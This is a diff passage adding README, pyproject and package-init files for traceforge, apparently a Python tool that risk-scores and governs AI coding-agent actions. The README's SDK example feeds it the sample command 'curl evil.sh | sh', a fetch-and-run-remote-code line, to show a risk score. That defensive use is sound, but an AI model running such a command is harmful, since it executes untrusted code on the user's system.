35
+ 2. **Parsers** pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
36
+ 3. **Adapters** parse raw input into a common `SessionEvent` type using declarative YAML mappings.
37
+ 4. **Enricher** adds metadata: tool pairing, duration, multi-dimensional classification, risk scoring, visibility.
38
+ 5. **Pipeline** stamps live structure, phase, activity/step boundaries, titles, then routes events to one or more sinks with error isolation.
39
+ 6. **Sinks** write to storage backends or call custom handlers.
40
+ 7. **Governance** (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.
41
+
42
+ ## Quickstart
43
+
44
+ ```bash
45
+ pip install traceforge-toolkit # or: uv add traceforge-toolkit
46
+ ```
47
+
48
+ Everything ships in a single install, with no extras. Describe a pipeline in
49
+ `traceforge.yaml`:
50
+
51
+ ```yaml
52
+ # traceforge.yaml
53
+ pipelines:
54
+ - name: copilot-local
55
+ source:
56
+ type: file_watch
57
+ path: ~/.copilot/logs/session.jsonl # one agent log file
58
+ start_at: end # or "beginning" to replay existing lines
59
+ adapter:
60
+ type: mapped_json
61
+ mapping: copilot
62
+ sinks:
63
+ - type: jsonl
64
+ path: ./output/events.jsonl
65
+ ```
66
+
67
+ ```bash
68
+ traceforge watch # run the config-driven pipeline; structured events stream to your sinks
69
+ ```
70
+
71
+ No Python required. Prefer the SDK? The same engine is a few lines away:
72
+
73
+ ```python
74
+ from traceforge.sdk import Pipeline
75
+
76
+ pipeline = Pipeline.create() # zero-config facade
77
+ trace = pipeline.score_tool_call({ # read-only risk assessment
78
+ "tool_name": "bash",
79
+ "tool_input": {"command": "curl evil.sh | sh"},
80
+ "session_id": "demo",
81
+ })
82
+ print(trace.risk_score, trace.suggested_action) # e.g. 72 escalate
83
+ ```
84
+
85
+ See the **[Getting Started guide](https://dfinson.github.io/traceforge/docs/getting-started/installation)**
86
+ for the full CLI (`watch`, `replay`, `score`, `gate`, `init`, `detect`, `status`, `config`, `download-model`).
87
+
88
+ ## Features
89
+
90
+ | | |
91
+ | --- | --- |
92
+ | 🧩 **Framework-agnostic** | 22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more. |
93
+ | 🖥️ **Runs anywhere** | Runs from a laptop to CI. CPU-only, no heavyweight ML stack. |
94
+ | 🏷️ **Classification & risk** | 7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings. |
95
+ | 🧠 **Live structure** | Phase, activity/step boundaries, and human-readable titles stamped as events arrive. |
96
+ | 🛡️ **Governance** | Data labeling, information-flow control, drift & budget tracking, and `allow/warn/escalate/deny/transform` recommendations. |
97
+ | 🔌 **Pluggable sinks** | JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable. |
98
+
99
+ ## Documentation
100
+
101
+ The complete docs live at **[dfinson.github.io/traceforge](https://dfinson.github.io/traceforge/)**:
102
+
103
+ - **[Introduction](https://dfinson.github.io/traceforge/docs/intro)**: what TraceForge is and why.
104
+ - **[Architecture](https://dfinson.github.io/traceforge/docs/architecture/overview)**: the pipeline stages and event model.
105
+ - **[Getting Started](https://dfinson.github.io/traceforge/docs/getting-started/installation)**: install, first run, and CLI reference.
106
+ - **[Configuration](https://dfinson.github.io/traceforge/docs/configuration)**: `TRACEFORGE_*` env vars and `traceforge.yaml`.
107
+ - **[Governance](https://dfinson.github.io/traceforge/docs/governance/overview)**: the monitor, the shield, and the gate.
108
+ - **[Reference](https://dfinson.github.io/traceforge/docs/reference/sources)**: sources, adapters, enrichment, classification, sinks, and the SDK.
109
+
110
+ The authoritative technical spec remains in [`SPEC.md`](SPEC.md).
111
+
112
+ ## Design principles
113
+
114
+ - **Observation-first**: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
115
+ - **Framework-agnostic**: new framework support = new YAML file.
116
+ - **Defensive parsing**: malformed input is logged and skipped, never crashes.
117
+ - **Immutable domain objects**: events are frozen models.
118
+ - **Error isolation**: one failing sink cannot block others.
119
+ - **Data-driven**: classification, risk scoring, and MCP profiles are externalized to YAML.
120
+
121
+ ## Contributing
122
+
123
+ Contributions welcome, see **[CONTRIBUTING.md](CONTRIBUTING.md)** for dev setup with `uv`, running
124
+ the test suite, linting with `ruff`, and how to add a new agent framework mapping.
125
+
126
+ ## Status
127
+
128
+ 🚧 **Under active development**: not yet published to PyPI. The pipeline is feature-complete:
129
+ sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring,
130
+ the governance engine, all storage sinks, and the `traceforge` CLI all ship today.
131
+
132
+ ## License
133
+
134
+ [MIT](LICENSE)
@@ -0,0 +1,154 @@
1
+ [build-system]
2
+ requires = ["hatchling"]
3
+ build-backend = "hatchling.build"
4
+
5
+ [project]
6
+ name = "traceforge-toolkit"
7
+ version = "0.1.0"
8
+ description = "Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output"
9
+ readme = "README.md"
10
+ license = "MIT"
11
+ authors = [{ name = "David Finson", email = "davidfinson@microsoft.com" }]
12
+ requires-python = ">=3.11,<3.14"
13
+ keywords = [
14
+ "agent",
15
+ "observability",
16
+ "governance",
17
+ "ai-agents",
18
+ "llm",
19
+ "tracing",
20
+ "coding-agents",
21
+ "risk-scoring",
22
+ ]
23
+ # NOTE: no legacy "License :: OSI Approved :: MIT License" classifier — the SPDX
24
+ # `license = "MIT"` above emits Metadata 2.4 `License-Expression: MIT` (PEP 639),
25
+ # and hatchling rejects a license expression combined with a license classifier.
26
+ classifiers = [
27
+ "Development Status :: 4 - Beta",
28
+ "Intended Audience :: Developers",
29
+ "Operating System :: OS Independent",
30
+ "Programming Language :: Python :: 3",
31
+ "Programming Language :: Python :: 3.11",
32
+ "Programming Language :: Python :: 3.12",
33
+ "Programming Language :: Python :: 3.13",
34
+ "Programming Language :: Python :: 3 :: Only",
35
+ "Topic :: Software Development :: Quality Assurance",
36
+ "Topic :: Scientific/Engineering :: Artificial Intelligence",
37
+ "Typing :: Typed",
38
+ ]
39
+ dependencies = [
40
+ "alembic>=1.13",
41
+ "click>=8.1",
42
+ "httpx>=0.25",
43
+ "joblib>=1.3",
44
+ "litellm>=1.0",
45
+ "model2vec>=0.8.2",
46
+ "numpy>=1.24",
47
+ "onnxruntime>=1.17",
48
+ "pyarrow>=15",
49
+ "pydantic>=2.0",
50
+ "pyyaml>=6.0",
51
+ "scikit-learn>=1.5",
52
+ "scipy>=1.11",
53
+ "sqlalchemy>=2.0",
54
+ "tokenizers>=0.15",
55
+ "traceforge-title-model>=0.2",
56
+ "tree-sitter>=0.24",
57
+ "tree-sitter-bash>=0.24",
58
+ "tree-sitter-markdown>=0.5",
59
+ "tree-sitter-powershell>=0.24",
60
+ "tzdata>=2024.1 ; platform_system == 'Windows'",
61
+ "watchdog>=4.0",
62
+ ]
63
+
64
+ [project.optional-dependencies]
65
+ dev = [
66
+ "pytest>=8.0",
67
+ "pytest-asyncio>=0.23",
68
+ "ruff==0.15.20", # pinned to match CI (ci-lint.yml); ruff format output is version-sensitive
69
+ ]
70
+ s3 = [
71
+ "boto3>=1.28",
72
+ ]
73
+
74
+ [project.scripts]
75
+ traceforge = "traceforge.cli:main"
76
+
77
+ [project.urls]
78
+ Homepage = "https://github.com/dfinson/traceforge"
79
+ Repository = "https://github.com/dfinson/traceforge"
80
+ Issues = "https://github.com/dfinson/traceforge/issues"
81
+ Changelog = "https://github.com/dfinson/traceforge/releases"
82
+
83
+ [tool.pytest.ini_options]
84
+ asyncio_mode = "auto"
85
+ testpaths = ["tests"]
86
+ # Vendored demo repos (tests/fixtures/demo_repos/) carry their own test suites and
87
+ # third-party deps (fastapi, etc.) and must not be collected by traceforge's suite.
88
+ # --strict-markers turns any unregistered marker into an error, so the marker list
89
+ # below is the single source of truth (typos fail fast instead of silently no-op'ing).
90
+ addopts = "--strict-markers --ignore=tests/fixtures/demo_repos"
91
+ markers = [
92
+ "e2e: end-to-end test that drives real I/O (subprocess CLI, live sources/sinks, gate IPC).",
93
+ "slow: test that spawns a subprocess or otherwise runs longer than a unit test.",
94
+ "net: test that uses a local loopback fake network server (never an external host).",
95
+ "windows_only: test that only applies on Windows; auto-skipped elsewhere.",
96
+ ]
97
+
98
+ [tool.ruff]
99
+ target-version = "py311"
100
+ line-length = 100
101
+
102
+ [tool.ruff.lint]
103
+ ignore = [
104
+ "E741", # ambiguous variable name (used intentionally in comprehensions)
105
+ "F821", # undefined name — false positives for string-quoted forward references
106
+ ]
107
+
108
+ [tool.hatch.build.targets.wheel]
109
+ packages = ["src/traceforge"]
110
+ # The titler ONNX weights ship in the separate `traceforge-title-model` package
111
+ # (a hard dependency), NOT in this wheel. Only the tiny non-model data files
112
+ # (boilerplate list, phase/boundary heads) are force-included here.
113
+ artifacts = ["src/traceforge/phase/data/*.joblib", "src/traceforge/phase/data/potion-base-8M/*", "src/traceforge/boundary/data/*.joblib", "src/traceforge/title/data/*.json"]
114
+
115
+ [tool.hatch.build.targets.sdist]
116
+ # Keep the core sdist lean and safely under PyPI's 100 MiB per-file cap: ship only
117
+ # what's needed to build the wheel. `only-include` (not `include`) is a strict
118
+ # allowlist, so it also drops hatchling's default "every README.md/pyproject.toml
119
+ # in the tree" selection. Excludes packages/ — the titler weights ship as their own
120
+ # `traceforge-title-model` distribution, so bundling them here would add ~95 MB of
121
+ # redundant ONNX and push the sdist past the limit — plus tests/, research/, and
122
+ # docs/ fixtures that a source build of the wheel does not require.
123
+ only-include = [
124
+ "src/traceforge",
125
+ "pyproject.toml",
126
+ "README.md",
127
+ "LICENSE",
128
+ ]
129
+
130
+ # During development, resolve the model package from the in-repo path so an
131
+ # editable `uv sync` serves the real weights without a PyPI/GitHub round-trip.
132
+ # This source is uv-only and is stripped from the published wheel (the base
133
+ # `traceforge-title-model>=0.2` dependency is what real installs resolve).
134
+ [tool.uv.sources]
135
+ traceforge-title-model = { path = "packages/traceforge-title-model", editable = true }
136
+
137
+ [dependency-groups]
138
+ dev = [
139
+ "datamodel-code-generator>=0.63.0",
140
+ "pytest>=9.0.3",
141
+ "pytest-asyncio>=1.4.0",
142
+ "pytest-cov>=5.0",
143
+ "boto3>=1.28",
144
+ "moto[s3]>=5.0",
145
+ "crewai>=0.80",
146
+ "langchain-core>=0.3",
147
+ "langgraph>=0.2",
148
+ "semantic-kernel>=1.20",
149
+ "smolagents>=1.0",
150
+ "openai-agents>=0.1",
151
+ "pydantic-ai-slim>=1.0",
152
+ "agent-framework-core>=1.0",
153
+ ]
154
+
@@ -0,0 +1,72 @@
1
+ """traceforge — Agent event observation pipeline with pluggable storage backends."""
2
+
3
+ from traceforge.adapters.base import Adapter, JsonLineAdapter
4
+ from traceforge.adapters.mapped_json import MappedJsonAdapter
5
+ from traceforge.adapters.otel import OtelSpanAdapter
6
+ from traceforge.classify import (
7
+ ClassificationEngine,
8
+ Classification,
9
+ ClassifyConfig,
10
+ Phase,
11
+ Visibility,
12
+ classify_cmd_command,
13
+ classify_powershell_command,
14
+ classify_shell,
15
+ classify_tool,
16
+ get_default_registry,
17
+ load_config,
18
+ normalize_tool_name,
19
+ )
20
+ from traceforge.enricher import Enricher
21
+ from traceforge.parsers.aider import AiderPreParser
22
+ from traceforge.pipeline import EventPipeline
23
+ from traceforge.sinks.base import StorageSink
24
+ from traceforge.sinks.callback import CallbackSink
25
+ from traceforge.trace import EventTrace
26
+ from traceforge.types import (
27
+ KNOWN_KINDS,
28
+ EventKind,
29
+ EventMetadata,
30
+ IngestionMode,
31
+ SessionEvent,
32
+ TelemetrySpan,
33
+ TitleUpdate,
34
+ UsageRecord,
35
+ is_known_kind,
36
+ )
37
+
38
+ __all__ = [
39
+ # Adapters
40
+ "Adapter",
41
+ "JsonLineAdapter",
42
+ "MappedJsonAdapter",
43
+ "AiderPreParser",
44
+ "OtelSpanAdapter",
45
+ # Classification
46
+ "CallbackSink",
47
+ "Classification",
48
+ "ClassificationEngine",
49
+ "ClassifyConfig",
50
+ "Enricher",
51
+ "EventKind",
52
+ "EventMetadata",
53
+ "EventPipeline",
54
+ "IngestionMode",
55
+ "KNOWN_KINDS",
56
+ "Phase",
57
+ "SessionEvent",
58
+ "StorageSink",
59
+ "TelemetrySpan",
60
+ "EventTrace",
61
+ "TitleUpdate",
62
+ "UsageRecord",
63
+ "Visibility",
64
+ "classify_cmd_command",
65
+ "classify_powershell_command",
66
+ "classify_shell",
67
+ "classify_tool",
68
+ "get_default_registry",
69
+ "is_known_kind",
70
+ "load_config",
71
+ "normalize_tool_name",
72
+ ]
@@ -0,0 +1,5 @@
1
+ """Allow `python -m traceforge` to invoke the CLI."""
2
+
3
+ from traceforge.cli import main
4
+
5
+ main()